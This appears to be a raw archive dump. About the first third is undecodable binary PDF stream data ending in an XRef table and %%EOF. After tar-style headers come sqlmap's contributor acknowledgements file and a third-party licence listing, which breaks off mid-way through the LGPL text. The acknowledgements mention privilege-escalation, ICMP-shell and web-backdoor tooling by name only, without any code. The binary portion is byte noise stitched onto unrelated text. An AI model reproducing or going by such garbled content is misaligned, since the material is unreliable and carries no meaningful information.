<|þùÃã·O¿>ßýåýÓÏÏoò%YÀþ®†x ²êe4%5‰xƒ)›‰F˜©&T“°Ó÷ùõåuŒ|ëõýÃ_L°‘ ¯ãŒ¬&^Å-fZÅ­j*0šš™FZ‚·,“o±ÑåÖiŽ L¦:j&S±ÉÔF}Ádj#)P™RÌ£‰ÌÄStûÖͧ:¥´š²˜iXuJ«å‡f¦±— +GƒrO0_V|ë6‡ÉÆk*TZ¥‚™F9Ñ„’½6˜L() qç8…§±oÝx&Ô*ÇЄZåšP«(F$dB•QL2î5ÏÁ•ËÇnspdBÕq9È„j£*dB­òŽL¨UÞ‘ •ãŠB1S™Â£Û–•n<*¯òŽš™ÆÀ·®Äd*çQrV¡2ŒÁÙL¸zùØmŽU¨¼Ê(V¡2­¢™ÆìdŠW½L(×{ISxûÖÍgB•ž©eª˜Pk“ UÇU,&T)ã¾dÄ\»|ì6WT(ý:S’™Æ$+l¦< Ò ^5Ó žr‡<×NcߺÍáÉŒuuòÖhŽëSU(€‘BÍf)T0Ó˜®Õ¸ã|ÏÞÒ®zŸ±j:á Šé´J»j:ñE4©}[xþñõåÝÛÏÞ ®õÎh‡Bjs€ú-zn@^}:3¬æµiimuàÎ$ê@[›$$ÞÍ%ŒsÚ|φØCO¢hÄ´VD€ûùßmMm]¤ß¸EÑ8eb6ý6ö¬Ý·ª`î{o~‰’aE4ÍebWa·¨HQa™Ù£~€fŽ¤çȆǶ͘=6ÒA†´)<áÓhæ°}4"SÑÌ.3Ñl&™ˆÚŸÝý˜}>’³<O—gjËò—æªeåÄÞ´ŒÚØYW3çºK†.›1{\Ø2™fÑ,yÊÌ#Ša›zt L<šÑ”'MéÆ;¤Œ÷ƒöYÙ~˜E}äž8q°žV³E¨#Y=Ä™p²|¸½ÉÜã»3%´Þ,šmHŒ;¯Ý ÀuÛm¢¸n«“ë^Šg×m…ôtŸm)ÌÇŸáo•”Ïp©ª7Ú 仵(É÷ëø²3^õ/g4(o‚cÐöXªàãЕ¬;2èR¶žº–m‡§®‚›†â—eÈuX˜83œ¢i ê±ŠÍÇ©Ïy<$îü*3ú2«Ê諬"S:#B»8œÑ@׊üµÒ¥"_Ý0ìSÔJ›§ùM´·žœ£ëÖ?ŸI¾8ãà¥JËçÒRF±çÕ/FÏ‹êEÏKê­Ž7ZÝÅGÁþ|ø1õ¨ì°€ƒÁæÆš\·Ž®äºAÝÍu£V^l«†)¦CþñVLnÆ íÄ&(> …É÷k1‰äûµšÁæûµ¸¤HýåP†ü±ÂÙÎpJÙBÄ;D‹úwˆVõûDU§èW™¢?ZUJpF¾8œAÅN~2¨DÙ—HÊ>E(û›&¢—VôP9“tqÆ –DœÐG¡©ú~YfÎÙ÷ƒúÙ÷£Þ‹¢ï·{ÊÎv€sÛ,vˆêãîÕ‡ô‰êvpOV+´É=Y­Ð¦ÚΨÀg‚3"èvh~JêvhÅu«Bѧ¨E_ }TIN"ØÇ!Ÿ`¶N}–5·ìAЀ]€Z0z^- ¸z^- ŠWŸ¶Ê!uç{oIÚI–.W—›çÕå¦uu¸Ù1v{×Ýz³zÑóêk`¬ÇÌËe>ú¸Ýï 9Ii·ðªU+ö!£çÕç„\=¯¾)x5¨U·‡KŽÓRϬ¸Uùà²ö^©joJ@ìz£¾Øf×­£›?Zk̹ÏO܇ùúä„^qÂöQB¯8aû&a×Íê.®[‡¼¢‚í;‚KQ±ÇŸgáëø3è{SvjÞ{G½¾wÔ-Ïh즎æ}qsCóþø¨ãÙýw~‚º&~u¹UõºÜšznÅ.OÞÍ¢ØÝÉ»WT‹í˜ù,ëë™Ï[³äÀko_mzä´ñwŸ¿½ü$#^¿åÒH½‘{{ƒzc³è_¿ûñ¯ÿ~}úíuö{ÿ-Féãko´k#÷ð¹‡Ïùà'ûñ×Éáúrhÿ†tmtÌתÖþéÚ¨þŒî¯·H9täБC:šyE¼ýybçµ°Ç…Î:è| « ÆO{¢Û\L{tì±sÄλâØ"ê…pUÝbwžØybçI} ¨ã£üiuÈjsöÈâF£®u¨¯$u†Ôn×7Ú)Ù¸ks|\Ì%™²à¾þ áj®¯Ÿ?Èû5™¢[ÿó¿÷Ïáñ«§×§_ÞýüðøOÙ’ÚiùYãáñ¿¿þòòv1ÕÅ´œ¡éú×2ä›w?=?þ÷Ãsï.ß?¿ýÒp^¤Ðˆÿ/,À endstream endobj 1468 0 obj << /Type /XRef /Index [0 1469] /Size 1469 /W [1 3 1] /Root 1466 0 R /Info 1467 0 R /ID [<47A691CA16E4142BCC1FEA4C57D8B57E> <47A691CA16E4142BCC1FEA4C57D8B57E>] /Length 3458 /Filter /FlateDecode >> stream xÚ%™[lW†go±ÇÛqì$NìÄIœ8ÇŽoIœ›sOìÄ—Ä—ø~ ²õµEBê#D D)…ª ©HÀ»ðBBÀD[!­P(B**•P›Î÷çåˬŽÏ™³×ÿÏœ½EQô¿8ŠâÈ¢¨¾ôOÙÆ®8ªøÔšm7Ú*e(GkG[¡¬•hGÑ–)«À&´chK”Õ mm‘²lF;¶@Y¶ ÝB›§¬í6ÚeØŠ¶Žv²l+iEÚ,ehFÛŠ6C¹ì@kD›¦Ü Zж¡MQî»ÑšÐîR¶‚6´f´;”{À^´íh“”í`Úa´ ÊýàÚ´qÊpMßwŒòèDÓ÷½MyA›B»Ey”–¸¼-B¥ìÇÑÊÑF(»AZÚMÊ ­íeèGÛŒvr ¢Õ¡]£< N¡mA»Jy ¡Õ£]¡<΢i/SžçѴΗ(/€a4­óEJášÖy˜Rop­M¦¿†&ԅß@“wõ‘úÒ#h{ÑÎRjÁn¡@Óåj±ÇÐ:І(Õ¨ ´ƒhúªjò4õò¥ 2…¦,h™d®´^´AJóZš–X¦žGëGë§T ÑN£©= Ó2ÚZ/¥‚¸ŠvM­Uˆ×Ñ΢õPÞ/!/…½òµˆç87ržÇhÑŽSö¼í¾Ê {^‰ví%aÏ7¡]GÓ9aÏkÐn ¡$ìùf´›hø9'ìù´´NJž;´I4²ö|+Ú´ƒ”„=߆vå„=oFSHPö|ÚÌ {Þ‚6¶’°ç»ÑVÐÈoNØó6´U´½”„=/•' J½xš¡µQꃠÅhz+]äA´2´Ý”ú‚hUhº -δMh-”ZXž(œú j aOÚJ5”°'º êë㈜°' X3%nÊ {¢€iépbNØl%.Î {¢€iÙI@NØ“=h[)IONØL-#y9aOôÀp”¤6'ìÉ>4µ›°ç„=ÑÍr %aÏ {¢€É*„='쉶™’°ç„=ÑÃF6#ì9aOzÐj( {NØ“h²(aÏ {¢pn¢$ì9aOô ’½ {NØ““h•”„='ìÉ)4Eƒ°ç„=Q`Ë) {NØV±"ì9aOôà‹) {NØåM‘$ì9aO”·ˆ’°ç„=)-NEªLöœ°'WÑÖ)K'ì+¥°où(aO]º†f€°'„.]¥,„=!té e ì ¡K—)«aOSºDY {B˜ÒEÊZ@Ø“´Ê:@ØžØéÐeQó"Ž´$<žRµV=× JKÇ3*Õ=L77¹d 'úÁ'Á)p 3à,8΃ `\—Àep\×ÀupÜ#`Ü·Á$¸ÆÁq‹v}[ßhŒ‹¤çéfÊ»` Lƒ0 îy°–À Xk``ÖÀ;Üb€'C9À‰¡à¿° Ôl¸‚àÎ Zº ‹öŽêýäº9°–Ѫ-º2©³[æ Û– Í#…û„€_~ ø%à—€_~ ø%à—€_~ ø%à—€_~ d&¦@òö ø%ÐB½E½Ýº>|0kÀC\pDÀGpDÀGpDÀGpDÀGpDÀGpDÀGÆfƒzèyÀ¡×¢“¯éêqNÀº0CÀ ~Ôl°EÀ[„ûlæ5…0 ÙCÐÄ¡hÎP4]¨š)ÔMê€æõ@SFêþ”Eçž×g4XôÂ×uÔ˜llÌ6v‚VÐhÑø°^§_zÓ=€½ýF›E³/è,?zS}xØoÑúK:Á~ã`G¿qtƒ}äi½D·C}…nÐN€^ÐúÁIPÊeú¬þlœgÀpÊ¢ÏLéì90΂‹à¸ ®€«à¸n€›`Œa‹žú˜ÞO÷]-ç˜wÀ]0¦Á ˜÷À˜ `,e°V™j¨ç²À¸EÏ<¬\ã>(ðA |Pàƒø À>(XÄ´¢À-+4ÙÙ4ÏÑð§ô¼üñ|PáÌÊß×=/4Þ¡É…†:í@£œý@Mlèjqì´è§ïé 4¶ÁM.ŽºZÐÕ‚®tµ «]-hc1èoq ÐÕ‚æ´¶ ƒÅy@“ zYÐÆâ˜E¿êÒçÒÚ‚žÀÖ´¶ µ­-hmAk Z[\±è•Iýí( «]-èjA/‹R+ÞxN/ÑÏ­Žèj1cÑ_—t‚N´¶˜³èí&i´» ¿Å¢Eï¾%žjèŠEïýFšF4¾X·èý1i÷Í>÷ŽÆU 6k¬S©ç¥fÕ@Ó 6™µ<ª—Ô‚í Á¬½Wšþ¢ì0ë\“¶´ƒ6³î7¤í‡À>³¡ÏKÛ4_ë4»xYÔ´‘# ÙºFk'Áè2»vK/>4ì4›xLšæfb]0›ý4;FÁU³µ išiÝã`Ü2KjtVÓ(©f†D3fôë¬fKÚyi@²–Ì>þ`I´¡ÔdgÝìÓ?”vßâŽÏj£Èê&f_~°oÔ°Ô˜}sL뜰°É³ç¿#­°öI£Ù‹ÕÒô“³‰#¶ZI©þ:AV7i5ûåfiì¼’@’.pÀìåNÕ€D““>pÜìµ?é H΀~³×ÏK£ ÉpÖìÍ¥iÏÄn1Ñü`ØìïoéÄEÀÚ'×ÍþY&MãÍJ+þïg¤ÑŠä.7ûïëÒ4&Ð~Êâøei4*Ñ>~ÖâÍïJÓ&D‹³J¿Ê›~¡´ÂëhÕâÖWu´fñ÷G8ò¬½7‹¾¢’=»góí1¿gÅ}•Å}ßÕYvÛžæyÚãkïK[–3è%ØÖkg͵xí›-¾ô ¥)žŸÓ©6ÐÚõ¶Z<úÕÆX»^úæµ×Õæö0h·xú«z6·´ÑÓF¯=ì‹Wtö( ^Tšç»,þЃ¿Õæö4è±ø!ÝÓnO½¶ŒC?Ò¢Œ5S]³öƒ—-~ì¶NhI·üM‹Ÿø–4mÖø1‹Ÿ|ðÄÊÏi‹ŸR?<½ôjʼÅOMÚàVåÉ‘×ΫŒ£‹ŸkÖK4¼h±ÊßÓö«”[ü£Ÿ©ä׿Ó^¨Æâ—vK«Ú iSSoñÏ;t‚¡Û ¶[üëKÓ§ ´Xü»iÌ#ck·ÇâW/M¿Atâè°øÏõ:ÁØÚ±'qÿå_Ò¸‘¹npÌâ·¾!­ 0 s¥¼ý¦4¦eŽ †ë³øÝÏKcÈáq¹A‹ß{]š†lq¥F}ðà«2“vŒ'óÇ°Á1âr̯sÇ`Á1*vŒ©wÎÊÊšõŒ©s ÇÌiâÀ6Üs¤Í-“ÇèÀiãÎÓÊi»> ´Ig8à´5Ÿ³²Úr½ó¼•}ñ{:Z°ò²¿éhÑÊ×Ñ’•ÿã-[ÅØ;:Z±Šç?©£U«¬û‰ŽÖ¬r¡WGëV¹Ñ££ûVùÇg5?ˆ¬jù!iMS ŽÔ­v«J¾¤A²þ #e¥¿x”ýLEÆ·Ìø‚O¿Œ}c†›2ö[ËŒMf†á2vh¾ÊØ‹g 2\—ñ2^Ë0WÆn;cBqΘd˜0ã?¯2¼–ῌ߻nÊèjÆÕg\}ÆÕg\}Æ cÓŸ±ËÏ°cÆ›d.ÄY'Àk¿r3L˜± ÎðZƦ?ÄƒÚ ¯eø/ã?F2l– XÕý¥%y¼6ú?ãó’ endstream endobj startxref 490507 %%EOF sqlmap-1.0.4/doc/THANKS.md000066400000000000000000000601741270044205500150770ustar00rootroot00000000000000# Individuals Andres Tarasco Acuna, * for suggesting a feature Santiago Accurso, * for reporting a bug Syed Afzal, * for contributing a WAF script varnish.py Zaki Akhmad, * for suggesting a couple of features Olu Akindeinde, * for reporting a couple of bugs David Alvarez, * for reporting a bug Sergio Alves, * for reporting a bug Thomas Anderson, * for reporting a bug Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site Smith Andy, * for suggesting a feature Otavio Augusto, * for reporting a minor bug Simon Baker, * for reporting some bugs Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html Emiliano Bazaes, * for reporting a minor bug Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug Velky Brat, * for suggesting a minor enhancement to the bisection algorithm James Briggs, * for suggesting a minor enhancement Gianluca Brindisi, * for reporting a couple of bugs Jack Butler, * for contributing the sqlmap site favicon Ulisses Castro, * for reporting a bug Roberto Castrogiovanni, * for reporting a minor bug Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm Y P Chien, * for reporting a minor bug Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository Hysia Chow * for contributing a couple of WAF scripts Chris Clements, * for reporting a couple of bugs John Cobb, * for reporting a minor bug Andreas Constantinides, * for reporting a minor bug Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement Ulises U. Cune, * for reporting a bug Alessandro Curio, * for reporting a minor bug Alessio Dalla Piazza, * for reporting a couple of bugs Sherif El-Deeb, * for reporting a minor bug Stefano Di Paola, * for suggesting good features Mosk Dmitri, * for reporting a minor bug Meng Dong, * for contributing a code for Waffit integration Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms Shawn Evans, * for suggesting an idea for one tamper script, greatest.py Adam Faheem, * for reporting a few bugs James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster Jim Forster, * for reporting a bug Rong-En Fan, * for commiting the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 Kasper Fons, * for reporting several bugs Jose Fonseca, * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only http://code.google.com/p/jrfonseca/wiki/Gprof2Dot http://code.google.com/p/jrfonseca/wiki/XDot Alan Franzoni, * for helping out with Python subprocess library Harold Fry, * for suggesting a minor enhancement Daniel G. Gamonal, * for reporting a minor bug Marcos Mateos Garcia, * for reporting a minor bug Andrew Gecse, * for reporting a minor issue Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation Dimitris Giannitsaros, * for contributing a REST-JSON API client Nico Golde, * for reporting a couple of bugs Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch Davide Guerri, * for suggesting an enhancement Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features Chris Hall, * for coding the prettyprint.py library Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development Alexander Hagenah, * for reporting a minor bug Dennis Hecken, * for reporting a minor bug Choi Ho, * for reporting a minor bug Jorge Hoya, * for suggesting a minor enhancement Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code Daniel Huckmann, * for reporting a couple of bugs Daliev Ilya, * for reporting a bug Mehmet Ä°nce, * for contributing a tamper script xforwardedfor.py Jovon Itwaru, * for reporting a minor bug Prashant Jadhav, * for reporting a bug Dirk Jagdmann, * for reporting a typo in the documentation Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 Andrew Kitis * for contributing a tamper script lowercase.py David Klein, * for reporting a minor code improvement Sven Klemm, * for reporting two minor bugs with PostgreSQL Anant Kochhar, * for providing with feedback on the user's manual Dmitriy Kononov, * for reporting a minor bug Alexander Kornbrust, * for reporting a couple of bugs Krzysztof Kotowicz, * for reporting a minor bug Nicolas Krassas, * for reporting a couple of bugs Oliver Kuckertz, * for contributing a minor patch Alex Landa, * for contributing a patch adding beta support for XML output Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 Lee Lawson, * for reporting a minor bug John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip Gabriel Lima, * for reporting a couple of bugs Svyatoslav Lisin, * for suggesting a minor feature Miguel Lopes, * for reporting a minor bug Truong Duc Luong, * for reporting a minor bug Pavol Luptak, * for reporting a bug when injecting on a POST data parameter Till Maas, * for suggesting a minor feature Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 Brad Merrell, * for reporting a minor bug Michael Meyer, * for suggesting a minor feature Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor Liran Mimoni, * for reporting a minor bug Marco Mirandola, * for reporting a minor bug Devon Mitchell, * for reporting a minor bug Anton Mogilin, * for reporting a few bugs Sergio Molina, * for reporting a minor bug Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs Kirill Morozov, * for reporting a bug * for suggesting a feature Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features Yonny Mutai, * for reporting a minor bug Roberto Nemirovsky, * for pointing out some enhancements Sebastian Nerz, * for reporting a (potential) vulnerability in --eval Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API Shaohua Pan, * for reporting several bugs * for suggesting a few features Antonio Parata, * for sharing some ideas for the PHP backdoor Adrian Pastor, * for donating to sqlmap development Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm Zack Payton, * for reporting a minor bug Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs Brandon Perry, * for reporting a couple of bugs Travis Phillips, * for suggesting a minor enhancement Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development Adam Pridgen, * for suggesting some features Luka Pusic, * for reporting a couple of bugs Ole Rasmussen, * for reporting a bug * for suggesting a feature Alberto Revelli, * for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net David Rhoades, * for reporting a bug Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching Jamie Riden, * for reporting a minor bug Alexander Rigbo, * for contributing a minor patch Antonio Riva, * for reporting a bug when running with python 2.5 Ethan Robish, * for reporting a bug Levente Rog, * for reporting a minor bug Andrea Rossi, * for reporting a minor bug * for suggesting a feature Frederic Roy, * for reporting a couple of bugs Vladimir Rutsky, * for suggesting a couple of minor enhancements Richard Safran, * for donating the sqlmap.org domain Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port Roberto Salgado, * for contributing considerable amount of tamper scripts Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs Marek Sarvas, * for reporting several bugs Philippe A. R. Schaeffer, * for reporting a minor bug Mohd Zamiri Sanin, * for reporting a minor bug Jorge Santos, * for reporting a minor bug Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development Uemit Seren, * for reporting a minor adjustment when running with python 2.6 Shane Sewell, * for suggesting a feature Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug Brian Shura, * for reporting a bug Sumit Siddharth, * for sharing ideas on the implementation of a couple of features Andre Silva, * for reporting a bug Benjamin Silva H. * for reporting a bug Duarte Silva * for reporting a couple of bugs M Simkin, * for suggesting a feature Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server Chris Spencer, * for reviewing the user's manual grammar Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections Marek Stiefenhofer, * for reporting a few bugs Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements Chilik Tamir, * for contributing a patch for initial support SOAP requests Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation Andres Tarasco, * for contributing good feedback Tom Thumb, * for reporting a major bug Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework Sandro Tosi, * for helping to create sqlmap Debian package correctly Jacco van Tuijl, * for reporting several bugs Vitaly Turenko, * for reporting a bug Augusto Urbieta, * for reporting a minor bug Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench Kyprianos Vasilopoulos, * for reporting a couple of minor bugs Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement Johnny Venter, * for reporting a couple of bugs Carlos Gabriel Vergara, * for suggesting couple of good features Patrick Webster, * for suggesting an enhancement Ed Williams, * for suggesting a minor enhancement Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development Thierry Zoller, * for reporting a couple of major bugs Zhen Zhou, * for suggesting a feature -insane-, * for reporting a minor bug 1ndr4 joe, * for reporting a couple of bugs abc abc, * for reporting a minor bug Abuse 007, * for reporting a bug agix, * for contributing the file upload via certutil.exe functionality Alex, * for reporting a minor bug anonymous anonymous, * for reporting a couple of bugs bamboo, * for reporting a couple of bugs Brandon E., * for reporting a bug black zero, * for reporting a minor bug blueBoy, * for reporting a bug buawig, * for reporting considerable amount of bugs Bugtrace, * for reporting several bugs cats, * for reporting a couple of bugs Christian S, * for reporting a minor bug clav, * for reporting a minor bug dragoun dash, * for reporting a minor bug flsf, * for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py * for contributing a minor patch fufuh, * for reporting a bug when running on Windows Hans Wurst, * for reporting a couple of bugs Hysia, * for contributing a Chinese translation of README.md james, * for reporting a bug Joe "Pragmatk", * for reporting a few bugs John Smith, * for reporting several bugs * for suggesting some features m4l1c3, * for reporting considerable amount of bugs mariano, * for reporting a bug mitchell, * for reporting a few bugs Nadzree, * for reporting a minor bug nightman, * for reporting considerable amount of bugs Oso Dog osodog123(at)yahoo.com * for reporting a minor bug pacman730, * for reporting a bug pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements Phat R., * for reporting a few bugs Phil P, <(at)superevr> * for suggesting a minor enhancement ragos, * for reporting a minor bug rmillet, * for reporting a bug Rub3nCT, * for reporting a minor bug shiftzwei, * for reporting a couple of bugs smith, * for reporting a minor bug Soma Cruz, * for reporting a minor bug Spiros94, * for contributing a Greek translation of README.md Stuffe, * for reporting a minor bug and a feature request Sylphid, * for suggesting some features syssecurity.info, * for reporting a minor bug This LittlePiggy, * for reporting a minor bug ToR, * for reporting considerable amount of bugs * for suggesting a feature ultramegaman, * for reporting a minor bug Vinicius, * for reporting a minor bug wanglei, * for reporting a minor bug warninggp, * for reporting a few minor bugs x, * for reporting a bug zhouhx, * for contributing a minor patch # Organizations Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org sqlmap-1.0.4/doc/THIRD-PARTY.md000066400000000000000000000347271270044205500156630ustar00rootroot00000000000000This file lists bundled packages and their associated licensing terms. # BSD * The Ansistrm library located under thirdparty/ansistrm/. Copyright (C) 2010-2012, Vinay Sajip. * The Beautiful Soup library located under thirdparty/beautifulsoup/. Copyright (C) 2004-2010, Leonard Richardson. * The ClientForm library located under thirdparty/clientform/. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. * The Colorama library located under thirdparty/colorama/. Copyright (C) 2013, Jonathan Hartley. * The Fcrypt library located under thirdparty/fcrypt/. Copyright (C) 2000, 2001, 2004 Carey Evans. * The Odict library located under thirdparty/odict/. Copyright (C) 2005, Nicola Larosa, Michael Foord. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. * The PrettyPrint library located under thirdparty/prettyprint/. Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. Copyright (C) 2006, Dan-Haim. ```` Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ```` # LGPL * The Chardet library located under thirdparty/chardet/. Copyright (C) 2008, Mark Pilgrim. * The Gprof2dot library located under thirdparty/gprof2dot/. Copyright (C) 2008-2009, Jose Fonseca. * The KeepAlive library located under thirdparty/keepalive/. Copyright (C) 2002-2003, Michael D. Stenner. * The MultipartPost library located under thirdparty/multipart/. Copyright (C) 2006, Will Holcomb. * The XDot library located under thirdparty/xdot/. Copyright (C) 2008, Jose Fonseca. * The icmpsh tool located under extra/icmpsh/. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of 